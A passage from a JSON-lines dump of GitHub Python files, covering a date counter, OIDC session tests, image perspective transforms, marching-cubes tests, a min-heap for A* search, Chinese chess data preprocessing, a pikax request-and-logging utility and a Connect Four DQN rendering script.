else:\n print('There are {:d} seconds past from today'.format(t_seconds(future_date)))\n\n \ndef main():\n if present > d_object:\n print('The date has passed')\n else:\n print('There are {:d} days remaining from today'.format(future_date.days))\n \n if args.total_seconds:\n past_future(future_date)\n\n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser()\n\n parser.add_argument('month', type = int, help = 'Month as a number (1, 12)')\n\n parser.add_argument('date', type = int, help = 'Day as a number (1, 31) depending on the month')\n\n parser.add_argument('year', type = int, help = 'Year as a 4 digits number (2020)')\n\n parser.add_argument('-s', '--total_seconds', action = 'store_true', help = 'Show the time difference in total number of seconds')\n\n args = parser.parse_args()\n\n present = date.today()\n d_object = date(day = args.date, month = args.month, year = args.year)\n future_date = d_object - present\n \n main()","repo_name":"NicDevOps/devops","sub_path":"edx/dev330/day_counter.py","file_name":"day_counter.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26208017535","text":"import pytest\nfrom oidcmsg.oauth2 import AuthorizationRequest\n\nfrom oidcop.session.info import ClientSessionInfo\nfrom oidcop.session.info import SessionInfo\nfrom oidcop.session.info import UserSessionInfo\n\nAUTH_REQ = AuthorizationRequest(\n client_id=\"client_1\",\n redirect_uri=\"https://example.com/cb\",\n scope=[\"openid\"],\n state=\"STATE\",\n response_type=[\"code\"],\n)\n\n\ndef test_session_info_subordinate():\n si = SessionInfo()\n si.add_subordinate(\"subordinate_1\")\n si.add_subordinate(\"subordinate_2\")\n assert set(si.subordinate) == {\"subordinate_1\", \"subordinate_2\"}\n assert set(si.subordinate) == {\"subordinate_1\", \"subordinate_2\"}\n assert si.is_revoked() is False\n\n si.remove_subordinate(\"subordinate_1\")\n assert si.subordinate == [\"subordinate_2\"]\n\n si.revoke()\n assert si.is_revoked() is True\n\n\ndef test_session_info_no_subordinate():\n si = SessionInfo()\n assert si.subordinate == []\n\n\ndef test_user_session_info_to_json():\n usi = UserSessionInfo(user_id=\"uid\")\n\n _jstr = usi.dump()\n\n usi2 = UserSessionInfo().load(_jstr)\n\n assert usi2.user_id == \"uid\"\n\n\ndef test_user_session_info_to_json_with_sub():\n usi = UserSessionInfo(uid=\"uid\")\n usi.add_subordinate(\"client_id\")\n\n _jstr = usi.dump()\n\n usi2 = UserSessionInfo().load(_jstr)\n\n assert usi2.subordinate == [\"client_id\"]\n\n\ndef test_client_session_info():\n csi = ClientSessionInfo(client_id=\"clientID\")\n\n _jstr = csi.dump()\n\n _csi2 = ClientSessionInfo().load(_jstr)\n assert _csi2.client_id == \"clientID\"\n","repo_name":"IdentityPython/oidc-op","sub_path":"tests/test_01_session_info.py","file_name":"test_01_session_info.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"5"} +{"seq_id":"27137993672","text":"import cv2 as cv\nimport numpy as np\n\ndef order_points(pts):\n # Initiate array of coordinates \n # [1 2]\n # [3 4]\n\n rect = np.zeros((4, 2), dtype='float32')\n\n s = pts.sum(axis = 1)\n rect[0] = pts[np.argmin(s)]\n rect[2] = pts[np.argmax(s)]\n\n diff = np.diff(pts, axis = 1)\n rect[1] = pts[np.argmin(diff)]\n rect[3] = pts[np.argmax(diff)]\n\n return rect\n\ndef four_point_transform(image, pts):\n # Obtain a consistent order of the points and unpack then individually\n rect = order_points(pts)\n (tl, tr, br, bl) = rect\n\n # Determine the width of the new image\n widthA = np.sqrt(((br[0] - bl[0]) ** 2) + (((br[1] - bl[1]) ** 2)))\n \n widthB = np.sqrt(((tr[0] - tl[0]) ** 2) + (((tr[1] - tl[1]) ** 2)))\n maxWidth = max(int(widthA), int(widthB))\n \n # Determine the height of the new image\n\n heightA = np.sqrt(((tr[0] - br[0]) ** 2) + (((tr[1] - br[1]) ** 2)))\n heightB = np.sqrt(((tl[0] - bl[0]) ** 2) + (((tl[1] - bl[1]) ** 2)))\n maxHeight = max(int(heightA), int(heightB))\n\n # Construct destination points; birds eye view coordinates\n dst = np.array([\n [0, 0],\n [maxWidth - 1, 0],\n [maxWidth - 1, maxHeight - 1],\n [0, maxHeight - 1]],\n dtype='float32')\n\n # Apply the perspective transform\n n = cv.getPerspectiveTransform(rect, dst)\n trans = cv.warpPerspective(image, n, (maxWidth, maxHeight))\n\n # Return\n return trans","repo_name":"eddiefiv/project-vision","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19181686335","text":"import numpy as np\nfrom skimage.draw import ellipsoid, ellipsoid_stats\nfrom skimage.measure import (marching_cubes_classic, marching_cubes_lewiner,\n mesh_surface_area, correct_mesh_orientation)\nfrom skimage._shared import testing\nfrom skimage._shared.testing import assert_array_equal\nfrom skimage._shared._warnings import expected_warnings\n\n\ndef test_marching_cubes_isotropic():\n ellipsoid_isotropic = ellipsoid(6, 10, 16, levelset=True)\n _, surf = ellipsoid_stats(6, 10, 16)\n \n # Classic\n verts, faces = marching_cubes_classic(ellipsoid_isotropic, 0.)\n surf_calc = mesh_surface_area(verts, faces)\n # Test within 1% tolerance for isotropic. Will always underestimate.\n assert surf > surf_calc and surf_calc > surf * 0.99\n \n # Lewiner\n verts, faces = marching_cubes_lewiner(ellipsoid_isotropic, 0.)[:2]\n surf_calc = mesh_surface_area(verts, faces)\n # Test within 1% tolerance for isotropic. Will always underestimate.\n assert surf > surf_calc and surf_calc > surf * 0.99\n\n\ndef test_marching_cubes_anisotropic():\n # test spacing as numpy array (and not just tuple)\n spacing = np.array([1., 10 / 6., 16 / 6.])\n ellipsoid_anisotropic = ellipsoid(6, 10, 16, spacing=spacing,\n levelset=True)\n _, surf = ellipsoid_stats(6, 10, 16)\n \n # Classic\n verts, faces = marching_cubes_classic(ellipsoid_anisotropic, 0.,\n spacing=spacing)\n surf_calc = mesh_surface_area(verts, faces)\n # Test within 1.5% tolerance for anisotropic. Will always underestimate.\n assert surf > surf_calc and surf_calc > surf * 0.985\n \n # Lewiner\n verts, faces = marching_cubes_lewiner(\n ellipsoid_anisotropic, 0., spacing=spacing)[:2]\n surf_calc = mesh_surface_area(verts, faces)\n # Test within 1.5% tolerance for anisotropic. Will always underestimate.\n assert surf > surf_calc and surf_calc > surf * 0.985\n\n # Test spacing together with allow_degenerate=False\n marching_cubes_lewiner(ellipsoid_anisotropic, 0, spacing=spacing,\n allow_degenerate=False)\n\n\ndef test_invalid_input():\n # Classic\n with testing.raises(ValueError):\n marching_cubes_classic(np.zeros((2, 2, 1)), 0)\n with testing.raises(ValueError):\n marching_cubes_classic(np.zeros((2, 2, 1)), 1)\n with testing.raises(ValueError):\n marching_cubes_classic(np.ones((3, 3, 3)), 1, spacing=(1, 2))\n with testing.raises(ValueError):\n marching_cubes_classic(np.zeros((20, 20)), 0)\n \n # Lewiner\n with testing.raises(ValueError):\n marching_cubes_lewiner(np.zeros((2, 2, 1)), 0)\n with testing.raises(ValueError):\n marching_cubes_lewiner(np.zeros((2, 2, 1)), 1)\n with testing.raises(ValueError):\n marching_cubes_lewiner(np.ones((3, 3, 3)), 1,\n spacing=(1, 2))\n with testing.raises(ValueError):\n marching_cubes_lewiner(np.zeros((20, 20)), 0)\n\n\ndef test_correct_mesh_orientation():\n sphere_small = ellipsoid(1, 1, 1, levelset=True)\n\n # Mesh with incorrectly oriented faces which was previously returned from\n # `marching_cubes`, before it guaranteed correct mesh orientation\n verts = np.array([[1., 2., 2.],\n [2., 2., 1.],\n [2., 1., 2.],\n [2., 2., 3.],\n [2., 3., 2.],\n [3., 2., 2.]])\n\n faces = np.array([[0, 1, 2],\n [2, 0, 3],\n [1, 0, 4],\n [4, 0, 3],\n [1, 2, 5],\n [2, 3, 5],\n [1, 4, 5],\n [5, 4, 3]])\n\n # Correct mesh orientation - descent\n with expected_warnings(['`correct_mesh_orientation` is deprecated']):\n corrected_faces1 = correct_mesh_orientation(\n sphere_small, verts, faces, gradient_direction='descent')\n corrected_faces2 = correct_mesh_orientation(\n sphere_small, verts, faces, gradient_direction='ascent')\n\n # Ensure ascent is opposite of descent for all faces\n assert_array_equal(corrected_faces1, corrected_faces2[:, ::-1])\n\n # Ensure correct faces have been reversed: 1, 4, and 5\n idx = [1, 4, 5]\n expected = faces.copy()\n expected[idx] = expected[idx, ::-1]\n assert_array_equal(expected, corrected_faces1)\n\n\ndef test_both_algs_same_result_ellipse():\n # Performing this test on data that does not have ambiguities\n \n sphere_small = ellipsoid(1, 1, 1, levelset=True)\n \n vertices1, faces1 = marching_cubes_classic(sphere_small, 0)[:2]\n vertices2, faces2 = marching_cubes_lewiner(\n sphere_small, 0, allow_degenerate=False)[:2]\n vertices3, faces3 = marching_cubes_lewiner(\n sphere_small, 0, allow_degenerate=False, use_classic=True)[:2]\n \n # Order is different, best we can do is test equal shape and same vertices present\n assert _same_mesh(vertices1, faces1, vertices2, faces2)\n assert _same_mesh(vertices1, faces1, vertices3, faces3)\n\n\ndef _same_mesh(vertices1, faces1, vertices2, faces2, tol=1e-10):\n \"\"\" Compare two meshes, using a certain tolerance and invariant to\n the order of the faces.\n \"\"\"\n # Unwind vertices\n triangles1 = vertices1[np.array(faces1)]\n triangles2 = vertices2[np.array(faces2)]\n # Sort vertices within each triangle\n triang1 = [np.concatenate(sorted(t, key=lambda x:tuple(x)))\n for t in triangles1]\n triang2 = [np.concatenate(sorted(t, key=lambda x:tuple(x)))\n for t in triangles2]\n # Sort the resulting 9-element \"tuples\"\n triang1 = np.array(sorted([tuple(x) for x in triang1]))\n triang2 = np.array(sorted([tuple(x) for x in triang2]))\n return (triang1.shape == triang2.shape and\n np.allclose(triang1, triang2, 0, tol))\n\n\ndef test_both_algs_same_result_donut():\n # Performing this test on data that does not have ambiguities\n n = 48\n a, b = 2.5/n, -1.25\n\n vol = np.empty((n, n, n), 'float32')\n for iz in range(vol.shape[0]):\n for iy in range(vol.shape[1]):\n for ix in range(vol.shape[2]):\n # Double-torii formula by Thomas Lewiner\n z, y, x = float(iz)*a+b, float(iy)*a+b, float(ix)*a+b\n vol[iz,iy,ix] = ( ( \n (8*x)**2 + (8*y-2)**2 + (8*z)**2 + 16 - 1.85*1.85 ) * ( (8*x)**2 +\n (8*y-2)**2 + (8*z)**2 + 16 - 1.85*1.85 ) - 64 * ( (8*x)**2 + (8*y-2)**2 )\n ) * ( ( (8*x)**2 + ((8*y-2)+4)*((8*y-2)+4) + (8*z)**2 + 16 - 1.85*1.85 )\n * ( (8*x)**2 + ((8*y-2)+4)*((8*y-2)+4) + (8*z)**2 + 16 - 1.85*1.85 ) -\n 64 * ( ((8*y-2)+4)*((8*y-2)+4) + (8*z)**2 \n ) ) + 1025\n \n vertices1, faces1 = marching_cubes_classic(vol, 0)[:2]\n vertices2, faces2 = marching_cubes_lewiner(vol, 0)[:2]\n vertices3, faces3 = marching_cubes_lewiner(vol, 0, use_classic=True)[:2]\n \n # Old and new alg are different\n assert not _same_mesh(vertices1, faces1, vertices2, faces2)\n # New classic and new Lewiner are different\n assert not _same_mesh(vertices2, faces2, vertices3, faces3)\n # Would have been nice if old and new classic would have been the same\n # assert _same_mesh(vertices1, faces1, vertices3, faces3, 5)\n","repo_name":"tuna-date/Face-Recognition-with-InsightFace","sub_path":"env/lib/python3.6/site-packages/skimage/measure/tests/test_marching_cubes.py","file_name":"test_marching_cubes.py","file_ext":"py","file_size_in_byte":7361,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"5"} +{"seq_id":"22265701582","text":"import math\nfrom Node import Node\nclass MinHeap:\n mode = 1 # default mode: choosing smaller g value\n \n def __init__(self):\n self.arr = [Node([-1, -1], None, -1, -1)]\n self.smaller_tie_break = 1\n self.bigger_tie_break = 2\n self.const = 110 # constant c larger than any possible g value\n\n def addNode(self, node: Node):\n idx = self.find(node)\n if idx>0:\n self.update(idx,node)\n else: \n self.arr.append(node)\n self.swim(len(self.arr) - 1)\n return\n\n def pop(self):\n num = self.arr[len(self.arr) - 1]\n self.arr[len(self.arr) - 1] = self.arr[1]\n self.arr[1] = num\n returnNode = self.arr.pop(len(self.arr) - 1)\n self.sink(1)\n return returnNode\n\n def sink(self, index):\n #print(\"-------------\")\n \n while index*2 < len(self.arr):\n child = index * 2 # child on left node\n if (child + 1 < len(self.arr) and \n (self.arr[child+1].total_cost < self.arr[child].total_cost \n or self.special_smaller(self.arr[child+1], self.arr[child])\n )):\n child += 1 #choose child on right node\n \n if ((self.arr[index].total_cost < self.arr[child].total_cost) \n or self.special_smaller(self.arr[index], self.arr[child])\n ):\n break\n num = self.arr[index]\n self.arr[index] = self.arr[child]\n self.arr[child] = num\n index = child\n return\n\n def swim(self, index):\n while (self.arr[index].total_cost < self.arr[index//2].total_cost\n or self.special_smaller(self.arr[index], self.arr[index//2])\n ):\n num = self.arr[index]\n self.arr[index] = self.arr[index//2]\n self.arr[index//2] = num\n index = index//2\n return\n \n def isEmpty(self):\n return len(self.arr) == 1\n \n def find(self, node):\n for i in range(len(self.arr)):\n if node.position == self.arr[i].position:\n return i\n return -1\n \n def update(self, index, node):\n if node.total_cost < self.arr[index].total_cost:\n self.arr[index] = node\n self.swim(index)\n return\n \n def special_smaller(self, a, b):\n if (self.mode == self.smaller_tie_break):\n return (a.total_cost == b.total_cost and a.step_cost < b.step_cost)\n else:\n a_cost = self.const * a.total_cost - a.step_cost\n b_cost = self.const * b.total_cost - b.step_cost\n return (a.total_cost == b.total_cost and a_cost < b_cost)\n \n \n\n def toString(self):\n print(\"[\")\n for i in range(1, len(self.arr)):\n print(self.arr[i].total_cost)\n print(\"]\")\n return","repo_name":"longtran1904/AStarVisualizer","sub_path":"MinHeap.py","file_name":"MinHeap.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18093256037","text":"# Global Config\nfrom common.GlobalConfig import *\nfrom common.Util import *\nimport pandas as pd\nimport numpy as np\nfrom random import shuffle\nimport os\nif not os.path.exists(preprocessed_folder_path):\n os.makedirs(preprocessed_folder_path)\n\nfrom sklearn.model_selection import train_test_split\n\n# Helper functions\ndef load_data(file_name=''):\n if file_name != '':\n return pd.read_csv(f'{clean_folder_path}/{file_name}')\ndef get_games():\n files = []\n for directory in os.walk(clean_folder_path):\n files = files + directory[2]\n return files\ndef split_dataframe(df, chunk_size=10000):\n num_of_chunks = len(df)//chunk_size + 1\n dfs = []\n for i in range(num_of_chunks):\n dfs.append(df.iloc[i*chunk_size:(i+1)*chunk_size])\n return dfs\n \ndef convert_game_to_dict(game, turn):\n return {\n 'player': turn,\n 'result': game.columns[0],\n 'gameboard': game.to_numpy()\n }\ndef convert_game_to_dicts(game):\n game_dicts = []\n gameboards = split_dataframe(game, 10)\n turn = 'r'\n for gb in gameboards:\n if gb.shape != (10, 9):\n continue\n game_dicts.append(convert_game_to_dict(gb, turn))\n if turn == 'r':\n turn = 'b'\n else:\n turn = 'r'\n return game_dicts\ndef encode_chess_type(chess):\n return chess_types.index(chess) + 1\ndef encode_gameboard(game):\n board = np.asarray(game['gameboard'])\n win = 1 if game['player'] == game['result'] else 0\n player = game['player']\n opponent = 'b' if player == 'r' else 'b'\n for r in range(len(board)):\n for c in range(len(board[r])):\n if board[r][c][0] == player:\n board[r][c] = encode_chess_type(board[r][c][1])\n elif board[r][c][0] == opponent:\n board[r][c] = -1 * encode_chess_type(board[r][c][1])\n else:\n board[r][c] = 0\n return board, win\ndef preprocess():\n # Get a list of game ids\n game_files= get_games()\n data = []\n for game_file in game_files:\n game_id = game_file.split('.')[0]\n game = load_data(game_file)\n results = convert_game_to_dicts(game)\n for i in range(len(results)):\n d = encode_gameboard(results[i])\n data.append(d)\n return train_test_split(data, test_size=split_ratio)\n\n# Preprocess\ntrain, test = preprocess()\n\n# Shuffle\nshuffle(train)\nshuffle(test)\n\n# Split input and output\ntrain_X = np.asarray([t[0] for t in train], dtype=np.float32)\ntrain_Y = np.asarray([t[1] for t in train], dtype=np.float32).reshape(-1,1)\ntest_X = np.asarray([t[0] for t in test], dtype=np.float32)\ntest_Y = np.asarray([t[1] for t in test], dtype=np.float32).reshape(-1,1)\n\n## Save encoded data\nnp.save(f'{preprocessed_folder_path}/train_X.npy', train_X)\nnp.save(f'{preprocessed_folder_path}/test_X.npy', test_X)\nnp.save(f'{preprocessed_folder_path}/train_Y.npy', train_Y)\nnp.save(f'{preprocessed_folder_path}/test_Y.npy', test_Y)","repo_name":"victorlamprojects/chinese-chess","sub_path":"2.preprocess.py","file_name":"2.preprocess.py","file_ext":"py","file_size_in_byte":2968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9441271845","text":"\"\"\"\nThis module contains utilities/tools for pikax\n\n:func log: print according to parameters and settings\n:func req: attempt to send network requests using requests lib and returns the result\n:func json_loads: given string or bytes, loads and return its json using standard lib\n:func trim_to_limit: returns a trimmed list if items if length exceeded limit given\n:func clean_filename: returns the given string after removing no allowed characters\n:func print_json: print json in formatted way, used for debug\n\n\"\"\"\nimport json\nimport re\nimport sys\nimport time\n\nimport requests\nimport urllib3\n\nfrom . import settings\nfrom .exceptions import ReqException\nfrom .texts import texts\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n__all__ = ['log', 'req', 'json_loads', 'trim_to_limit', 'clean_filename', 'print_json']\n\n\n# send request using requests, raise ReqException if fails all retries\ndef req(url, req_type='get', session=None, params=None, data=None, headers=settings.DEFAULT_HEADERS,\n timeout=settings.TIMEOUT, err_msg=None, log_req=settings.LOG_REQUEST, retries=settings.MAX_RETRIES_FOR_REQUEST,\n proxies=settings.REQUEST_PROXIES, verify=True, requester=None):\n \"\"\"Send requests according to given parameters using requests library\n\n **Description**\n This function send request using requests library,\n however its parameters does not accepts all parameters as in requests.get/post\n and some custom parameters is added as shown below\n\n **Parameters**\n :param requester:\n the function used to make the request call\n :param url:\n the url used for requesting\n :rank_type url:\n string\n\n :param req_type:\n the rank_type of requests to send, given string is converted to uppercase before checking, default get\n :rank_type req_type:\n string\n\n :param session:\n if this is given, session.get/post is used instead of requests.get/post, default None\n :rank_type session:\n requests.Session\n\n :param params:\n the parameters send along request, default None\n :rank_type params:\n same as params in requests library\n\n :param data:\n the data send along when post method is used, default None\n :rank_type data:\n same as data in requests library\n\n :param headers:\n the headers send along when requesting, default None\n :rank_type headers:\n same as headers in requests library\n\n :param timeout:\n time out used when send requests, in seconds, default use settings.TIMEOUT\n :rank_type timeout:\n int\n\n :param err_msg:\n the error message used when requests.exceptions.RequestException is raised during requesting\n :rank_type err_msg:\n string\n\n :param log_req:\n specify whether to log the details of this request, default True\n :rank_type log_req:\n boolean\n\n :param retries:\n number of retries if request fails, if not given, settings.MAX_RETRIES_FOR_REQUEST is used\n :rank_type retries:\n int\n\n :param proxies:\n Proxies used for sending request, uses REQUEST_PROXIES in settings.py\n :rank_type proxies:\n dict\n\n :param verify:\n Whether to verify ssl certificate or not\n\n\n\n **Returns**\n :return: respond of the request\n :rtype: requests.Response Object\n\n\n **Raises**\n :raises ReqException: if all retries fails or invalid rank_type is given\n\n \"\"\"\n curr_retries = 1\n req_type = req_type.upper()\n if requester is None:\n handler = requests if session is None else session\n requester = handler.get if 'GET' == req_type else handler.post # assume post if not 'GET'\n while curr_retries <= retries:\n if log_req:\n log(texts.REQUEST_INFO.format(req_type=req_type, url=url, params=params), end='')\n try:\n # try send request according to parameters\n res = requester(url=url, headers=headers, params=params, timeout=timeout,\n data=data, proxies=proxies, verify=verify)\n if log_req:\n log(res.status_code)\n\n # check if request result is normal\n if not res:\n if log_req:\n log(texts.REQUEST_FALSEY.format(retries=curr_retries), save=True)\n elif res.status_code >= 400:\n if log_req:\n log(texts.REQUEST_INVALID_STATUS_CODE.format(status_code=res.status_code,\n retries=curr_retries), save=True)\n else:\n if settings.DELAY_PER_REQUEST is not None:\n time.sleep(float(settings.DELAY_PER_REQUEST))\n return res\n\n except requests.exceptions.Timeout as e:\n if log_req:\n log(texts.REQUEST_TIME_OUT.format(retries=curr_retries), save=True)\n log(texts.REQUEST_REASON.format(e=e), save=True, inform=True)\n except requests.exceptions.ConnectionError as e:\n if log_req:\n log(texts.REQUEST_CONNECTION_ERROR.format(retries=curr_retries), save=True)\n log(texts.REQUEST_REASON.format(e=e), save=True, inform=True)\n except requests.exceptions.RequestException as e:\n if log_req:\n log(texts.REQUEST_EXCEPTION.format(retries=curr_retries), save=True, inform=True)\n log(texts.REQUEST_REASON.format(e=e), save=True, inform=True)\n if err_msg:\n log(texts.REQUEST_MSG.format(msg=err_msg), inform=True)\n\n curr_retries += 1\n if settings.REQUEST_RETRY_DELAY is not None:\n time.sleep(float(settings.REQUEST_RETRY_DELAY)) # dont retry again too fast\n\n # if still fails after all retries\n raise ReqException(texts.REQUEST_EXCEPTION_MSG.format(req_type=req_type, url=url, params=params))\n\n\n# attempt to decode given json, raise JSONDecodeError if fails\ndef json_loads(text, encoding='utf-8'):\n return json.loads(text, encoding=encoding)\n\n\n# trim the given items length to given limit\ndef trim_to_limit(items, limit):\n if items:\n if limit:\n num_of_items = len(items)\n\n if num_of_items == limit:\n return items\n\n if num_of_items > limit:\n items = items[:limit]\n log(texts.TRIM_MSG.format(old_len=num_of_items, new_len=limit), inform=True)\n else:\n log(texts.TRIM_NOT_NEEDED.format(len=num_of_items, limit=limit), inform=True)\n return items\n\n\n# remove invalid file name characters for windows\ndef clean_filename(string):\n return re.sub(r'[:<>\"\\\\/|?*]', '', str(string))\n\n\n# used for testing\ndef print_json(json_obj):\n print(json.dumps(json_obj, indent=4, ensure_ascii=False))\n\n\ndef new_session():\n return requests.Session()\n\n\nclass ProgressPrinter(object):\n\n def __init__(self):\n self.is_first_print = True\n self.start_time = None\n self.current = None\n self.total = None\n\n def reset(self):\n self.is_first_print = True\n self.start_time = None\n self.current = None\n self.total = None\n\n def set_up(self):\n self.start_time = time.time()\n self.current = 0\n self.total = 0\n self.is_first_print = False\n\n def set_current(self, current):\n self.current = current\n\n def set_total(self, total):\n self.total = total\n\n def get_time_left_text(self, curr, total):\n if self.is_first_print:\n self.set_up()\n self.set_current(curr)\n self.set_total(total)\n time_elapsed = time.time() - self.start_time\n seconds = time_elapsed / self.current * (self.total - self.current)\n minutes, seconds = divmod(seconds, 60)\n hours, minutes = divmod(minutes, 60)\n if hours > 0:\n return texts.TIME_FORMAT_HMS.format(h=hours, m=minutes, s=seconds)\n if minutes > 0:\n return texts.TIME_FORMAT_MS.format(m=minutes, s=seconds)\n return texts.TIME_FORMAT_S.format(s=seconds)\n\n def get_percent(self):\n return self.current / self.total * 100\n\n def get_progress_text(self, curr, total, msg):\n est_time_left = self.get_time_left_text(curr, total)\n curr_percent = self.get_percent()\n if curr > 1:\n progress_text = texts.PROGRESS_WITH_TIME_LEFT.format(curr=curr, total=total, curr_percent=curr_percent,\n time_left=est_time_left)\n else:\n progress_text = texts.PROGRESS_TEXT.format(curr=curr, total=total, curr_percent=curr_percent)\n\n if msg:\n progress_text = f'{msg} | {progress_text}'\n\n return progress_text\n\n def print_progress(self, curr, total, msg=None):\n progress_text = self.get_progress_text(curr, total, msg)\n log(progress_text, end='', start=settings.CLEAR_LINE, inform=True)\n\n def get_done_text(self, msg):\n if msg:\n done_text = texts.DONE_MSG.format(msg=msg)\n else: # a float, time taken\n done_text = texts.DONE if self.is_first_print \\\n else texts.DONE_TIME_TAKEN.format(time_taken=time.time() - self.start_time)\n\n return done_text\n\n def print_done(self, msg=None):\n done_text = self.get_done_text(msg)\n log(done_text, normal=True)\n self.reset()\n\n\nprogress_printer = ProgressPrinter()\n\n\ndef print_progress(curr, total, msg=None):\n global progress_printer\n progress_printer.print_progress(curr, total, msg)\n\n\ndef print_done(msg=None):\n global progress_printer\n progress_printer.print_done(msg)\n\n\ndef log(*objects, sep=' ', end='\\n', file=sys.stdout, flush=True, start='', inform=False, save=False, error=False,\n warn=False, normal=False):\n \"\"\"Print according to params and settings.py\n\n **Description**\n settings.py's LOG_TYPE controls the overall behaviour of this function\n eg. whether each type of log should be available\n caller code controls the type of log\n eg. whether the strings send to log should be type of inform\n This function copied all params of python's print function, except flush is set to True,\n and some custom parameters as shown below\n\n **Parameters**\n :param flush:\n :param file:\n :param end:\n :param sep:\n :param warn:\n if this is true, a '###' is appended is added at the front of the strings given, default False\n :param normal:\n if this is true, the string given will be printed normally\n :param start:\n the string to print at the start, preceding all other string, including inform & save 's prefix\n :type start:\n string\n\n :param inform:\n if this is True, a prefix ' >>>' is added at the front of the strings given, default False\n :type inform:\n boolean\n\n :param error:\n if this is True, a prefix ' !!!' is added at the front of the strings given, default False\n :type error:\n boolean\n\n :param save:\n if this is True, the strings given is also saved to LOG_FILE as specified in settings.py, default False\n :type save:\n boolean\n\n\n \"\"\"\n\n if settings.LOG_NORMAL and normal:\n print(start, *objects, sep=sep, end=end, file=file, flush=flush)\n return\n if settings.LOG_INFORM and inform:\n print(start, '>>>', *objects, sep=sep, end=end, file=file, flush=flush)\n if settings.LOG_SAVE and save:\n print(start, *objects, sep=sep, end=end, file=open(settings.LOG_FILE, 'a', encoding='utf-8'), flush=False)\n if settings.LOG_INFORM and error:\n print(start, '!!!', *objects, sep=sep, end=end, file=file, flush=flush)\n if settings.LOG_WARN and warn:\n print(start, '###', *objects, sep=sep, end=end, file=file, flush=flush)\n if settings.LOG_STD and not (inform or save or error or warn):\n print(start, *objects, sep=sep, end=end, file=file, flush=flush)\n","repo_name":"weilueluo/Pikax","sub_path":"pikax/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":11953,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"5"} +{"seq_id":"41039485781","text":"from flask import Flask,render_template,request\r\napp = Flask(__name__)\r\n@app.route(\"/\")\r\n@app.route(\"/home\")\r\ndef home():\r\n return render_template(\"index.html\")\r\n@app.route(\"/result\",methods = ['POST','GET'])\r\ndef result():\r\n output = request.form.to_dict()\r\n name = output[\"name\"]\r\n n=name\r\n n=int(n)\r\n if (n<=100):\r\n f=0\r\n \r\n elif (n>100 and n<=200):\r\n f=((n-100)*1.50)+20\r\n \r\n elif (n>200 and n<=500):\r\n f=((n-200)*3)+230\r\n \r\n else:\r\n f=((n-500)*6.60)+1780\r\n \r\n f=int(f)\r\n if(f<1):\r\n f='0'\r\n return render_template(\"index.html\",name = f)\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True,port=5001)\r\n","repo_name":"Parthasarathy-B/Electricity-Bill-Calculator-Web-App-","sub_path":"flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23601942853","text":"import os\n\nimport imageio\nimport numpy as np\nimport torch\nfrom agilerl_dqn_curriculum import Opponent\nfrom pettingzoo.classic import connect_four_v3\nfrom PIL import Image, ImageDraw, ImageFont\n\nfrom agilerl.algorithms.dqn import DQN\n\n\n# Define function to return image\ndef _label_with_episode_number(frame, episode_num, frame_no, p):\n im = Image.fromarray(frame)\n drawer = ImageDraw.Draw(im)\n text_color = (255, 255, 255)\n font = ImageFont.truetype(\"arial.ttf\", size=45)\n drawer.text(\n (100, 5),\n f\"Episode: {episode_num+1} Frame: {frame_no}\",\n fill=text_color,\n font=font,\n )\n if p == 1:\n player = \"Player 1\"\n color = (255, 0, 0)\n if p == 2:\n player = \"Player 2\"\n color = (100, 255, 150)\n if p is None:\n player = \"Self-play\"\n color = (255, 255, 255)\n drawer.text((700, 5), f\"Agent: {player}\", fill=color, font=font)\n return im\n\n\n# Resizes frames to make file size smaller\ndef resize_frames(frames, fraction):\n resized_frames = []\n for img in frames:\n new_width = int(img.width * fraction)\n new_height = int(img.height * fraction)\n img_resized = img.resize((new_width, new_height))\n resized_frames.append(np.array(img_resized))\n\n return resized_frames\n\n\nif __name__ == \"__main__\":\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n path = \"./models/DQN/lesson3_trained_agent.pt\" # Path to saved agent checkpoint\n\n env = connect_four_v3.env(render_mode=\"rgb_array\")\n env.reset()\n\n # Configure the algo input arguments\n state_dim = [\n env.observation_space(agent)[\"observation\"].shape for agent in env.agents\n ]\n one_hot = False\n action_dim = [env.action_space(agent).n for agent in env.agents]\n\n # Pre-process dimensions for pytorch layers\n # We will use self-play, so we only need to worry about the state dim of a single agent\n # We flatten the 6x7x2 observation as input to the agent's neural network\n state_dim = np.zeros(state_dim[0]).flatten().shape\n action_dim = action_dim[0]\n\n # Instantiate an DQN object\n dqn = DQN(\n state_dim,\n action_dim,\n one_hot,\n device=device,\n )\n\n # Load the saved algorithm into the DQN object\n dqn.loadCheckpoint(path)\n\n for opponent_difficulty in [\"random\", \"weak\", \"strong\", \"self\"]:\n # Create opponent\n if opponent_difficulty == \"self\":\n opponent = dqn\n else:\n opponent = Opponent(env, opponent_difficulty)\n\n # Define test loop parameters\n episodes = 2 # Number of episodes to test agent on\n max_steps = (\n 500 # Max number of steps to take in the environment in each episode\n )\n\n rewards = [] # List to collect total episodic reward\n frames = [] # List to collect frames\n\n print(\"============================================\")\n print(f\"Agent: {path}\")\n print(f\"Opponent: {opponent_difficulty}\")\n\n # Test loop for inference\n for ep in range(episodes):\n if ep / episodes < 0.5:\n opponent_first = False\n p = 1\n else:\n opponent_first = True\n p = 2\n if opponent_difficulty == \"self\":\n p = None\n env.reset() # Reset environment at start of episode\n frame = env.render()\n frames.append(\n _label_with_episode_number(frame, episode_num=ep, frame_no=0, p=p)\n )\n observation, reward, done, truncation, _ = env.last()\n player = 